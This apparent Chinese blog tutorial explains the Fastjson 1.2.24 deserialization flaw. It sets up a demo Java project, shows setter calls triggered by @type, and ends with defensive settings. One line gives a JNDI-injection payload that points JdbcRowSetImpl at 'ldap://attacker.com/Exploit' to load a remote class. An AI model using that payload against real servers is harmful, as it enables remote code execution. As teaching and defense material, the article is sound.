【JAVA安全-Fastjson系列】Fastjson 1.2.24 反序列化漏洞分析及測試環境構建【復習回顧】

Fastjson 1.2.24 反序列化漏洞分析及測試環境構建

漏洞背景

Fastjson 是阿里巴巴開源的一個高性能 Java JSON 庫,廣泛用于 Java 對象的序列化和反序列化。在 1.2.24 及之前的版本中,存在一個嚴重的安全漏洞,攻擊者可以通過構造惡意的 JSON 字符串實現遠程代碼執行(RCE)。

漏洞原理

Fastjson 在反序列化時,支持通過 @type 屬性指定目標類。當解析 JSON 時,Fastjson 會自動調用目標類的 setter 方法及特定條件的 getter 方法。攻擊者可以利用這一特性,通過精心構造的 JSON 字符串調用某些危險類的危險方法,最終實現任意代碼執行。

測試環境搭建

  1. 項目結構
fastjson-vuln-demo/
├── pom.xml
└── src/├── main/│   ├── java/│   │    └── org/│   │       └── rocky/│   │           ├── App.java │   │           └── model/│   │               └── User.java│    └── resources/└── test/└── java/
  1. 關鍵代碼

User.java

package org.rocky.model;public class User {private String name;private int age;private String email;public User() {System.out.println("User無參構造器被調用");}public User(String name, int age, String email) {this.name = name;this.age = age;this.email = email;System.out.println("User全參構造器被調用");}// Getter和Setter方法 public String getName() {System.out.println("getName()被調用");return name;}public void setName(String name) {System.out.println("setName()被調用,參數: " + name);this.name = name;}public int getAge() {System.out.println("getAge()被調用");return age;}public void setAge(int age) {System.out.println("setAge()被調用,參數: " + age);this.age = age;}public String getEmail() {System.out.println("getEmail()被調用");return email;}public void setEmail(String email) {System.out.println("setEmail()被調用,參數: " + email);this.email = email;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", email='" + email + '\'' +'}';}
}

App.java

package org.rocky;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.rocky.model.User;public class App {public static void main(String[] args) {// 正常序列化與反序列化 normalSerializationDemo();// 使用@type的反序列化 deserializationWithTypeDemo();}private static void normalSerializationDemo() {System.out.println("\n=== 正常序列化與反序列化 ===");// 創建用戶對象 User user = new User("張三", 25, "zhangsan@example.com");// 序列化為JSON字符串String jsonString = JSON.toJSONString(user);System.out.println("序列化結果: " + jsonString);// 反序列化為User對象User parsedUser = JSON.parseObject(jsonString, User.class);System.out.println("反序列化結果: " + parsedUser);}private static void deserializationWithTypeDemo() {System.out.println("\n=== 使用@type的反序列化 ===");// 使用@type指定目標類 String jsonWithType = "{\"@type\":\"org.rocky.model.User\",\"name\":\"李四\",\"age\":30,\"email\":\"lisi@example.com\"}";System.out.println("反序列化JSON: " + jsonWithType);Object obj = JSON.parseObject(jsonWithType);System.out.println("反序列化結果: " + obj);}
}
  1. pom.xml 依賴配置
<project xmlns="http://maven.apache.org/POM/4.0.0"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0  http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.rocky</groupId><artifactId>fastjson</artifactId><version>1.0-SNAPSHOT</version><packaging>jar</packaging><name>fastjson</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target></properties><dependencies><!-- Fastjson 1.2.24 --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><!-- 升級后的 JUnit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.8.1</version></plugin></plugins><resources><resource><directory>src/main/resources</directory><includes><include>**/*.properties</include><include>**/*.xml</include><include>**/*.json</include></includes><excludes><exclude>**/.keep</exclude></excludes><filtering>false</filtering></resource></resources></build>
</project>

漏洞驗證

  1. 正常反序列化流程

運行 normalSerializationDemo() 方法,觀察輸出:

=== 正常序列化與反序列化 === 
User全參構造器被調用 
序列化結果: {"age":25,"email":"zhangsan@example.com","name":"張三"}
User無參構造器被調用 
setAge()被調用,參數: 25 
setEmail()被調用,參數: zhangsan@example.com
setName()被調用,參數: 張三 
反序列化結果: User{name='張三', age=25, email='zhangsan@example.com'}
  1. 使用@type的反序列化

運行 deserializationWithTypeDemo() 方法,觀察輸出:

=== 使用@type的反序列化 ===
反序列化JSON: {"@type":"org.rocky.model.User","name":"李四","age":30,"email":"lisi@example.com"}
User無參構造器被調用 
setName()被調用,參數: 李四 
setAge()被調用,參數: 30
setEmail()被調用,參數: lisi@example.com
反序列化結果: {"age":30,"email":"lisi@example.com","name":"李四"}

在這里插入圖片描述

漏洞利用原理

攻擊者可以構造特殊的 JSON 字符串,利用 Fastjson 的自動類型轉換和 Java 反射機制,調用危險類的方法。例如:

String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
JSON.parse(maliciousJson);

這段代碼會嘗試通過 JNDI 注入加載遠程惡意類,導致 RCE。

防御措施

  1. 升級 Fastjson:升級到最新安全版本(1.2.83 或更高)
  2. 關閉 autotype:設置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用安全模式:JSON.parse(text, Feature.SafeMode)
  4. 白名單控制:配置 ParserConfig.getGlobalInstance().addAccept("org.rocky.model.")

總結

Fastjson 1.2.24 的反序列化漏洞源于其過于靈活的自動類型轉換機制。通過分析測試環境中的代碼執行流程,我們可以清楚地看到 Fastjson 如何通過反射調用目標類的方法。在實際開發中,務必使用最新版本的 Fastjson 并采取適當的安全配置。

建議進一步研究:

  1. 完整的漏洞利用鏈構造
  2. JNDI 注入原理
  3. Fastjson 的安全配置最佳實踐

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/93648.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/93648.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/93648.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于神經網絡CNN的搭建過程以及圖像卷積的實現過程學習

通過如下博客內容學習了CNN搭建的步驟&#xff0c;按照博主的思路完成了cnn網絡的構建并完成50個epoch的訓練并畫出損失函數的曲線圖時有滿滿的成就感 PyTorch深度學習實戰&#xff08;3&#xff09;——使用PyTorch構建神經網絡_pytorch 神經網絡-CSDN博客 通過如下博客內容…

nodejs 實現Excel數據導入數據庫,以及數據庫數據導出excel接口(核心使用了multer和node-xlsx庫)

項目地址&#xff1a;https://gitee.com/LiangDouJun/nodejsExcel 一、實現效果 1、數據庫數據導出 2、excel導入 二、代碼實現 // 根據環境加載對應的配置文件 const env process.env.NODE_ENV || development; require(dotenv).config({ path: .env.${env} });const expr…

VUE2 學習筆記8 v-text/html/cloak/once/pre/自定義

除了之前已經介紹過的v-on v-bind v-for v-if v-show&#xff0c;vue還有很多其他的指令。v-textv-text是Vue內置指令。內置指令&#xff0c;是Vue內部定義好的&#xff0c;開發的時候直接拿來用就行了。v-text用于向其所在的標簽添加文本。<body><div id"root&q…

vue 使用postcss-pxtorem 實現適老化

1. 安裝依賴 npm install postcss-pxtorem -D2. 配置 Vite (vite.config.js) import { defineConfig } from vite import vue from vitejs/plugin-vue import postcsspxtorem from postcss-pxtoremexport default defineConfig({plugins: [vue()],css: {postcss: {plugins: [po…

Rust:高效錯誤處理工具 anyhow

Rust 的 anyhow 庫是一個專注于簡化錯誤處理的工具&#xff0c;特別適合應用程序開發場景。它通過統一的錯誤類型和便捷的 API&#xff0c;減少模板代碼&#xff0c;提升錯誤信息的可讀性。以下是其核心用法及示例&#xff1a;1. 安裝與基礎用法 在 Cargo.toml 中添加依賴&…

Solidity基礎(教程①-簡單數字存儲)

我們來嘗試一個超級簡單的智能合約&#xff0c;它只會做一件事情&#xff1a;存儲一個數字&#xff0c;并且讓我們能修改這個數字。最簡單的 Solidity 代碼// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;// 定義一個智能合約&#xff0c;名字叫做 SimpleStorage (簡…

在 Web3 時代通過自我主權合規重塑 KYC/AML

1. 引言 前序博客有&#xff1a; Ligero 和 Ligetron 中的 MPC 和 ZKLigetron&#xff1a;Nim Network開發的針對AI的zkVMLigetron&#xff1a;基于MPC-In-The-Head范式的zkVM簡介谷歌采用 Ligero 構建其 ZK 技術棧 KYC&#xff08;了解你的客戶&#xff0c;Know Your Custo…

Linux kernel pinctrl子系統簡介

pinctrl(Pin Control)子系統是 Linux 內核中用于統一管理 SoC 引腳(Pin)功能配置的核心子系統,主要解決傳統引腳管理方式中存在的配置分散、驅動沖突、資源管理混亂等問題。尤其在嵌入式系統中,SoC 引腳通常支持多種復用功能(如 GPIO、UART、SPI、I2C、視頻接口等),pi…

web開發常見問題解決方案大全:502/503 Bad Gateway/Connection reset/504 timed out/400 Bad Request/401 Unauthorized

web開發常見問題解決方案大全&#xff1a;502/503 Bad Gateway&#xff0f;Connection reset&#xff0f;504 timed out&#xff0f;400 Bad Request&#xff0f;401 Unauthorized&#xff0f;403 Forbidden 在使用反向代理&#xff08;如 Nginx、HAProxy&#xff09;或正向代…

Vue 3 拖拽排序功能優化實現:從原理到實戰應用

一、引言&#xff1a;為什么需要拖拽排序&#xff1f;在現代Web應用中&#xff0c;交互體驗越來越受到重視。拖拽排序(Drag and Drop)作為一種直觀的用戶交互方式&#xff0c;被廣泛應用于&#xff1a;任務管理工具&#xff08;如Trello的任務卡片排序&#xff09;內容管理系統…

git 使用 rebase 刪除某次 提交

git刪除某次commit記錄 在Git中&#xff0c;要刪除某次commit記錄有幾種不同的實現方法&#xff1a; 方法一&#xff1a;使用git rebase命令和~標記 該方法適用于刪除最近的幾次commit記錄。 首先&#xff0c;使用以下命令查看你需要刪除的commit的記錄 git log找到你要刪除的c…

第2章 cmd命令基礎:常用基礎命令(2)

Hi~ 我是李小咖&#xff0c;主要從事網絡安全技術開發和研究。 本文取自《李小咖網安技術庫》&#xff0c;歡迎一起交流學習&#x1fae1;&#xff1a;https://imbyter.com 本節介紹的命令有時間與日期&#xff08;time/date&#xff09;、顯示目錄&#xff08;dir&#xff09;…

我從農村來到了大城市

從田埂到霓虹初到城市那天&#xff0c;行李箱的滾輪碾過柏油路的震動&#xff0c;和老家泥地上的拖沓感完全不同。站在天橋上往下看&#xff0c;車流像被打翻的調色盤&#xff0c;紅的黃的光在柏油畫布上流淌&#xff0c;我數了三遍才認清那是出租車和公交車的尾燈。第一個月總…

代碼隨想錄算法訓練營第三十六天

LeetCode.1049 最后一塊石頭的重量 II 題目鏈接 最后一塊石頭的重量II 題解 class Solution {public int lastStoneWeightII(int[] stones) {int len stones.length;int sum 0;for(int i 0;i<len;i) sum stones[i];int target sum / 2;int[] dp new int[target 1…

Apache Ignite 的監控與指標(Monitoring and Metrics)

這段文檔是關于 Apache Ignite 的監控與指標&#xff08;Monitoring and Metrics&#xff09; 的介紹&#xff0c;內容非常關鍵&#xff0c;尤其在生產環境中保障系統穩定性和性能時至關重要。 我們來一步步深入解析這段文字&#xff0c;幫助你徹底理解其含義和實際意義。&…

【ssh】ubuntu服務器+本地windows主機,使用密鑰對進行ssh鏈接

目錄1、服務器配置ssh2、本地主機秘鑰對3、上傳公鑰至服務器4、配置服務器的公鑰信息5、測試連接1、服務器配置ssh 使用的服務器系統為 ubuntu系統20.04 首先確認服務器是否已安裝SSH&#xff0c;已安裝的話會返回openssh 的相關信息&#xff0c;返回為空表示未安裝 dpkg -l …

Linux文件fd

文件理解 文件屬性內容 打開文件&#xff1a;本質是進程打開文件&#xff0c;文件沒被打開時候再磁盤上。 操作文件&#xff1a;本質是進程操作文件。 在操作系統內部&#xff0c;一定存在大量被打開的文件&#xff0c;會對其進行管理&#xff0c;每一個被打開的文件&#…

北京-4年功能測試2年空窗-報培訓班學測開-第六十四天-準備面試項目(焦慮)-同學開始面試

今日產出&#xff0c;整理自我介紹&#xff0c;繼續整理第一個項目&#xff0c;學習linux命令很焦慮啊很焦慮&#xff0c;很著急今天本打算結束第一個項目的&#xff0c;但是沒能夠&#xff0c;越說感覺越亂&#xff0c;讓同學聽我講&#xff0c;同學說&#xff0c;要聽睡著了于…

網絡是如何運轉的?——常見網絡協議與網絡分層模型

目錄 基本網絡協議 TCP&#xff08;傳輸控制協議&#xff09; 可靠傳輸&#xff1a;序列號確認應答重傳機制 序列號&#xff08;seq&#xff09; 確認應答&#xff08;ACK&#xff09; 超時重傳 三次握手與四次揮手 三次握手&#xff08;建立連接&#xff09; 四次揮手…

OpenAI放大招:ChatGPT學習模式上線,免費AI智能家教

目錄一、背景介紹二、學習模式是什么國內直接使用AI主流模型GPT-5也會第一時間同步更新。三、主要功能特點1、互動式提示2、分層次響應3、個性化支持4、知識檢查5、靈活切換四、學生如何使用學習模式1、訪問方式2、適用場景3、交互過程4、使用示例五、局限性1、依賴學生自覺性2…